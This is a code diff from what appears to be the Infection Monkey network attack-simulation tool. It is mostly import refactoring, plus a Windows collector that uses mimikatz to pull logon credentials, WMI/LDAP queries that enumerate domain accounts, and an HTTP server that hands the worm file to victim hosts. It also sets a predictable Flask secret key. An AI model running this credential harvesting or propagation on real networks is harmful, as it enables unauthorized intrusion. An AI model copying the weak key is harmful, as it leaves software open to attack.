return self.mimikatz_text
class LogonData(ctypes.Structure):
"""
Logon data structure returned from mimikatz.

View File

@ -0,0 +1,67 @@
import os
import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
from common.utils.wmi_utils import WMIUtils
LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')
__author__ = 'uri'
class WindowsInfoCollector(InfoCollector):
"""
System information collecting module for Windows operating systems
"""
def __init__(self):
super(WindowsInfoCollector, self).__init__()
self._config = infection_monkey.config.WormConfiguration
self.info['reg'] = {}
self.info['wmi'] = {}
def get_info(self):
"""
Collect Windows system information
Hostname, process list and network subnets
Tries to read credential secrets using mimikatz
:return: Dict of system information
"""
LOG.debug("Running Windows collector")
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.get_wmi_info()
LOG.debug('finished get_wmi_info')
self.get_installed_packages()
LOG.debug('Got installed packages')
mimikatz_collector = MimikatzCollector()
mimikatz_info = mimikatz_collector.get_logon_info()
if mimikatz_info:
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
else:
LOG.info('No mimikatz info was gathered')
return self.info
def get_installed_packages(self):
LOG.info('getting installed packages')
self.info["installed_packages"] = os.popen("dism /online /get-packages").read()
self.info["installed_features"] = os.popen("dism /online /get-features").read()
def get_wmi_info(self):
LOG.info('getting wmi info')
for wmi_class_name in WMI_CLASSES:
self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)

View File

@ -0,0 +1,32 @@
WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount",
"Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service",
"Win32_OptionalFeature"}
# These wmi queries are able to return data about all the users & machines in the domain.
# For these queries to work, the monkey should be run on a domain machine and
#
# monkey should run as *** SYSTEM *** !!!
#
WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "ADSIPath", "DS_userAccountControl",
"DS_objectSid", "DS_objectClass", "DS_memberOf",
"DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime",
"DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp",
"DS_lastLogoff", "DS_logonCount", "DS_accountExpires"),
"ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName",
"DS_sAMAccountType", "DS_objectSid", "DS_objectClass",
"DS_name", "DS_memberOf", "DS_member", "DS_instanceType",
"DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"),
"ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires",
"DS_adminDisplayName", "DS_badPasswordTime",
"DS_badPwdCount", "DS_cn", "DS_distinguishedName",
"DS_instanceType", "DS_lastLogoff", "DS_lastLogon",
"DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass",
"DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion",
"DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -3,7 +3,7 @@ import logging
import sys
from abc import ABCMeta, abstractmethod
from config import WormConfiguration
from infection_monkey.config import WormConfiguration
__author__ = 'itamar'

View File

@ -0,0 +1,4 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -3,6 +3,7 @@ from threading import Thread
g_last_served = None
class TransportProxyBase(Thread):
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
global g_last_served

View File

@ -6,9 +6,10 @@ import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
from threading import Lock
import monkeyfs
from base import TransportProxyBase, update_last_serve_time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
__author__ = 'hoffer'
@ -183,6 +184,49 @@ class HTTPServer(threading.Thread):
self.join(timeout)
class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
You create a lock instance and pass it to this server's constructor. Then acquire the lock
before starting the server and after it. Once the server starts it will release the lock
and subsequent code will be able to continue to execute. That way subsequent code will
always call already running HTTP server
"""
# Seconds to wait until server stops
STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
self.lock = lock
threading.Thread.__init__(self)
self.daemon = True
def run(self):
class TempHandler(FileServHTTPRequestHandler):
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=STOP_TIMEOUT):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)

View File

@ -1,9 +1,10 @@
import socket
import select
from threading import Thread
from base import TransportProxyBase, update_last_serve_time
from logging import getLogger
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
READ_BUFFER_SIZE = 8192
DEFAULT_TIMEOUT = 30

View File

@ -5,11 +5,11 @@ import time
from difflib import get_close_matches
from threading import Thread
from model import VictimHost
from network.firewall import app as firewall
from network.info import local_ips, get_free_tcp_port
from network.tools import check_tcp_port
from transport.base import get_last_serve_time
from infection_monkey.model import VictimHost
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
__author__ = 'hoffer'

View File

@ -2,7 +2,7 @@ import os
import sys
import struct
from config import WormConfiguration
from infection_monkey.config import WormConfiguration
def get_monkey_log_path():
@ -29,3 +29,4 @@ def is_64bit_python():
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -5,12 +5,12 @@ import shutil
import time
import monkeyfs
from config import WormConfiguration
from control import ControlClient
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'

4
monkey/monkey_island.py Normal file
View File

@ -0,0 +1,4 @@
import monkey_island.cc.main
if "__main__" == __name__:
monkey_island.cc.main.main()

View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

@ -1,10 +1,11 @@
import os
import uuid
from datetime import datetime
import bson
import flask_restful
from bson.json_util import dumps
from flask import Flask, send_from_directory, make_response
from flask import Flask, send_from_directory, make_response, Response
from werkzeug.exceptions import NotFound
from cc.auth import init_jwt
@ -29,18 +30,24 @@ from cc.services.config import ConfigService
__author__ = 'Barak'
HOME_FILE = 'index.html'
def serve_static_file(static_path):
if static_path.startswith('api/'):
raise NotFound()
try:
return send_from_directory('ui/dist', static_path)
return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path)
except NotFound:
# Because react uses various urls for same index page, this is probably the user's intention.
if static_path == HOME_FILE:
flask_restful.abort(
Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500))
return serve_home()
def serve_home():
return serve_static_file('index.html')
return serve_static_file(HOME_FILE)
def normalize_obj(obj):
@ -77,7 +84,7 @@ def init_app(mongo_url):
app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SECRET_KEY'] = uuid.getnode()
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()

View File

@ -9,7 +9,7 @@ __author__ = "itay.mizeretz"
class Encryptor:
_BLOCK_SIZE = 32
_DB_PASSWORD_FILENAME = "mongo_key.bin"
_DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin"
def __init__(self):
self._load_key()

View File

@ -13,7 +13,7 @@ ENV_DICT = {
def load_env_from_file():
with open('server_config.json', 'r') as f:
with open('monkey_island/cc/server_config.json', 'r') as f:
config_content = f.read()
config_json = json.loads(config_content)
return config_json['server_config']

View File

@ -27,7 +27,7 @@
},
"root": {
"level": "INFO",
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
}
}

View File

@ -1,17 +1,20 @@
from __future__ import print_function # In python 2.7
import os
import os.path
import sys
import time
import logging
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app
@ -33,11 +36,11 @@ def main():
app = init_app(mongo_url)
if env.is_debug():
app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
else:
http_server = HTTPServer(WSGIContainer(app),
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')})
http_server.listen(env.get_island_port())
logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))

Some files were not shown because too many files have changed in this diff Show More